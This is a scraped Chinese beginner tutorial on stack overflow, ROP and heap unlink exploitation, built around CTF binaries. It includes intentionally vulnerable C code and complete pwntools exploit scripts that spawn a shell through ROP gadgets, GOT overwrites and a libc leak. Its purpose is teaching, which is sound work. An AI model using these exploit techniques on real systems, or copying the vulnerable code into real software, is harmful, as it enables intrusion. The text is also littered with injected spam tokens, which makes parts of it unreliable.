让新手SEO靠我快速理解堆栈溢出,尽可能写的简单一些。
代码执行到进入函数之前都会记录返回地址到SP中,保证代码在进入函数执行完成后能返回继续执行下面的代码,而栈溢出攻击原理就是想尽一切办法覆盖掉这个保存在SP中SEO靠我的返回地址,改变代码执行流程。
刚开始写博客的时候写过一篇如何在windows中利用ntdll的jmp esp实现栈溢出攻击,这次我们回顾一下。此时栈中内容应该是这样
在进入需要call的函数后,如果我们SEO靠我从栈的低地址一直覆盖内容到高地址,就可以覆盖掉这个返回地址。简单的看一道以前的ctf题,为了深入理解我们先自己编译一份存在漏洞的代码
#include <stdlib.h> SEO靠我 #include <stdio.h> void shell(){//故意存在的后门system("/bin/sh"); } void test(inSEO靠我t a){//随便写的printf("exit!!!!!%d\n" , a); } void print_name(char* input) {//漏洞函数char bSEO靠我uf[15];memcpy(buf,input,0x100);printf("Hello %s\n", buf); } int main(int argc, char*SEO靠我* argv){char buf[0x100];puts("input your name plz");read(0,buf,0x100);print_name(buf);return 0; SEO靠我 }// gcc -m32 -no-pie -g test.c -o test编译后再ida中长这样
解题方式二是为了理SEO靠我解栈溢出原理,所以我在其中套了多个函数地址和参数。
再来看一道经典题目,mmap内存映射的栈溢出
#include <stdlib.h> #include <stSEO靠我dio.h> #include <sys/mman.h> int main(int argc, char** argv){char buff;char * mapBufSEO靠我;mapBuf = (char*)mmap(0x233000, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS, -1,SEO靠我 0);printf("map address:%x\n",mapBuf);read(0,mapBuf,0x100);puts("enter something");read(0,&buff,0x10SEO靠我0);puts("good bye");return 0; }权限是可读写可执行,MAP_PRIVATE|MAP_ANONYMOUS 表示不映射一个具体的fd,而是系统内部创建的匿名文SEO靠我件,且不会被回写到文件。
其中我们给出了具体的映射地址,虽然mapBuf的内存地址并不属于这个栈,但是我们可以通过溢出buff让栈返回地址指向它,而它内存中实际的内容就是我们的shellcode.我们首先将shellcode写入了mapBuf指向的内存地址(0x233000),然后覆盖掉了返回地址,将它改为0x233000,在退出这个函数SEO靠我时就会执行我们在0x233000中写入的shellcode了。
这段代码非常简单,但是题中给的文SEO靠我件开启了NX 保护,也就是说栈中的代码不可执行,此时我们无法覆盖为shellcode,那么就只能让他跳转到程序中本来就存在的一些方法去,而程序中也并没有调用system。
我们这次用到了ROPgadgeSEO靠我t工具,让他在程序中找一些指定的汇编指令。
还有cyclic可以帮忙测试栈溢出的大小。思路是利用int 0x80中断进入系统调用execve。
execve("/bin/sh",NULL,NULL)
令SEO靠我eax为execve的系统调用号0xb,第一个参数ebx指向/bin/sh,ecx和edx为0。
而我们需要找到能修改寄存器的汇编代码,那么pop就是最好的选择。
push 是将参数压入sp,那么pop就SEO靠我是将sp的内容弹出到指定寄存器。from pwn import * context(os=linux, arch=i386, log_level=debug) #conSEO靠我text.terminal = [qterminal,-e,sh,-c] elf = ELF("./rop") p = elf.process() RSEO靠我OPgadget --binary rop --only int 0x08049421 : int 0x80ROPgadget --binary rop --only pop|ret|SEO靠我grep eax 0x080bb196 : pop eax ; retROPgadget --binary rop --only pop|ret|grep ebx 这里还可以控制ecxSEO靠我所以直接再找edx的 0x0806eb91 : pop ecx ; pop ebx ; retROPgadget --binary rop --only pop|ret|grep edSEO靠我x 0x0806eb6a : pop edx ; retROPgadget --binary rop --string /bin/bash 0x080be408 : /SEO靠我bin/sh int_0x80 = 0x08049421 pop_eax_ret = 0x080bb196 pop_ecx_ebx_ret = 0x0SEO靠我806eb91 pop_edx_ret = 0x0806eb6a sh = 0x080be408 # 112 cyclic测试得出 paSEO靠我yload = ba * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(0) + p32(sh) + p32(pop_eSEO靠我dx_ret) + p32(0) + p32(int_0x80) p.sendline(payload) p.interactive()程序中可以发现在vul函数的read的第二处出现了栈溢出,但是我们发现溢出的大小实在是太小了,我们无法写入system后再加入参数,注意程序同样开启SEO靠我了NX保护,也就是栈中代码不可执行,这里需要了解一点点的GOT/PLT了,可以看我这篇文章:
PLT、GOT ELF重定位流程新手入门原理是通过覆盖返回地址让它返回到s变量的内存地址(bss段),这样我SEO靠我们就有足够的地方写shellcode了
堆溢出原理在堆释放时,修改双向SEO靠我链表的过程,有空子可以钻,让其指针赋值时将我们需要的地址赋值过去,但是我们也仅仅是指修改了一个内存地址,而不是像栈溢出那样修改了它的执行流程。
size记录的是整个chunk大小,而不是malloSEO靠我c时的大小。
因为malloc是按8字节对齐,所以实际上size的最后3位bit永远不可能不是1 (8 = 0b1000),所以用其中1位来做PREV_INUSE的标记位。
向前合SEO靠我并和向后合并,并不是说对于当前区块来说,合并到前一个或合并到后一个,而是正好相反。
向后合并是指如果前一个区块没有被使用,将自身指针指向前一个区块,并且将大小合并,向前合并则相反。
if (!prev_iSEO靠我nuse(p)) {prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize)); unlinSEO靠我k(p, bck, fwd); } #define unlink(P, BK, FD) { \FD = P->fd; \BK = P->bk; \FD->bk = BKSEO靠我; \BK->fd = FD; \... }我们需要关注的点在于unlink,这个从双向链表移除自身的代码。下面的题目中unlink其实还有检查代码,就是判断FD->bk是否等于BK-SEO靠我>fd。
这是一个简单的堆溢出题,我将其中的函数都重命名了,在IDA中你能知道这些函数时做什么的
可以看见create_item申请的堆内存地址被保存到了一个全局变量s中,并且是从下标1开始使用的SEO靠我。
我们将变量和函数地址都先记录下来edit_item = 0x4009e8free_item = 0x400b07puts_if_exists = 0x400ba9create_item = 0x40SEO靠我0936bss_s = 0x602140我们还知道了GLIBC的版本是2.2.5,但是我本机没有,可以用工具替换。
使用 patchelf 替换2.23,因为2.2.5在glibc-all-in-oneSEO靠我没找到,glibc-all-in-one可以在github下载到。
patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0uSEO靠我buntu11.3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stSEO靠我kof我们要做的其实就是修改掉s数组中存放的内容。
from pwn import * context(os=linux, arch=amd64, log_level=debug) SEO靠我 context.terminal = [qterminal,-e,sh,-c] stkof = ELF("./stkof") # 题的原文件网上可以搜到 SEO靠我 p = stkof.process() libc = ELF(/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libcSEO靠我-2.23.so)#edit_item = 0x4009e8 #free_item = 0x400b07 #puts_if_exists = 0x400ba9 # 没啥SEO靠我用 #create_item = 0x400936 bss_s = 0x602140 # 存着分配的堆地址,0下标无用,(&::s)[++dword_602100] =SEO靠我 v2; 1号块就是1下标def alloc(size):p.sendline(b1)p.sendline(str(size))p.recvuntil(bOK\n)def edit(idx, sizeSEO靠我, content):p.sendline(b2)p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(bOK\n)dSEO靠我ef free(idx):p.sendline(b3)p.sendline(str(idx))def puts_if_exists():p.sendline(b4)print(p.recvline()SEO靠我)def exp():# gdb.attach(p, b *0x4009e8)# editalloc(0x100) # idx 1alloc(0x20) # idx 2 # 32大小alloc(0x8SEO靠我0) # idx 3#在2中伪造chunk并且溢出修改3的chunk头#FD 下一块 ,BK 上一块,fd在结构偏移是第三个,bk在结构偏移是第四个payload = p64(0) #prev_sizSEO靠我epayload += p64(0x20) #size# 使(bss_s + 0x10 - 3*0x8)->bk(3*0x8) == (bss_s + 0x10 - 2*0x8)->fd(2*0x8)SEO靠我 == (bss_s + 0x10),绕过checkpayload += p64(bss_s + 0x10 - 3*0x8) #fd #此时fd->bk = (bss_s + 0x10 - 3*0x8SEO靠我)+(3*0x8)payload += p64(bss_s + 0x10 - 2*0x8) #bk #此时bk->fd = (bss_s + 0x10 - 2*0x8)+(2*0x8)# 溢出部分paSEO靠我yload += p64(0x20) # 下一个区块的 prev_sizepayload += p64(0x90) # 下一个区块 size 偶数,覆盖prev_inuse 为 0(0x90的大小是内SEO靠我存对齐后的结果)# 修改2号块,等会溢出3号块edit(2, len(payload), payload)# 准备 释放3 触发向后合并,触发unlink(此时unlink的P就是2号块)# FD =SEO靠我 P->fd; #下一块# BK = P->bk; #上一块# FD->bk = BK;# BK->fd = FD; # 根据计算类似下面这样,只是我们没有写临时变量,这样看会清楚点,代码虽然是错的#SEO靠我 p->fd 被我们伪造成了(bss_s + 0x10 - 3*0x8)# p->bk 被我们伪造成了(bss_s + 0x10 - 2*0x8)# FD->bk = BK; # 赋值相当于 (bssSEO靠我_s + 0x10 - 3*0x8)+(3*0x8) = bss_s + 0x10 - 2*0x8# BK->fd = FD; # 赋值相当于 (bss_s + 0x10 - 2*0x8)+(2*0xSEO靠我8) = bss_s + 0x10 - 3*0x8# 最后修改其实就是# bss_s + 0x10 = bss_s + 0x10 - 3*0x8# bss_s + 0x10 = bss_s - 0x8SEO靠我# bss_s + 0x10 就是 bss_s[2]# 让 bss_s 存着的2号块地址变成 = bss_s - 0x8free(3)p.recvuntil(OK\n)#覆盖bss_s存着的2号块地址SEO靠我(bss_s - 0x8),跳过8字节使bss_s[0] = free@got, bss_s[1]=puts@got, bss_s[2]=atoi@got#此时存着的堆地址其实全部被我们改掉了,后面干SEO靠我的事和堆一点关系都没有了payload = ba * 8 + p64(stkof.got[free]) + p64(stkof.got[puts]) + p64(stkof.got[atoi])ediSEO靠我t(2, len(payload), payload) #这里payload数据是写入了 bss_s 段# 由于此时 bss_s[0] = free@got.plt# 本来free@got.plt中存SEO靠我的是0x7f7e67a84540 <__GI___libc_free>: 0x8348535554415541# 我们此时修改0号块内容,实际上就是(&bss_s)[0] = puts@plt# 等于SEO靠我将__GI___libc_free改为了puts@pltpayload = p64(stkof.plt[puts])edit(0, len(payload), payload) #此时free已经被替SEO靠我换#free((&::s)[1]); = puts@plt((&::s)[1]);#此时相当于puts@plt(&bss_s[1]);# puts@plt(puts@got);#我们就可以先拿到putSEO靠我s@got地址,用来计算glibc基址free(1)puts_addr = p.recvuntil(\nOK\n, drop=True).ljust(8, b\x00)puts_addr = u64(SEO靠我puts_addr)log.success(puts addr: + hex(puts_addr))libc_base = puts_addr - libc.symbols[puts]binsh_adSEO靠我dr = libc_base + next(libc.search(b/bin/sh))system_addr = libc_base + libc.symbols[system]log.succesSEO靠我s(libc base: + hex(libc_base))log.success(/bin/sh addr: + hex(binsh_addr))log.success(system addr: +SEO靠我 hex(system_addr))# 由于此时 bss_s[2] = atoi@got.plt# 修改2号块代码是(&bss_s)[2] = systempayload = p64(system_aSEO靠我ddr)edit(2, len(payload), payload)# 随便发一个触发main里的atoi,参数就是binsh_addrp.send(p64(binsh_addr))p.interacSEO靠我tive()if __name__ == "__main__":exp()网站备案号:浙ICP备17034767号-2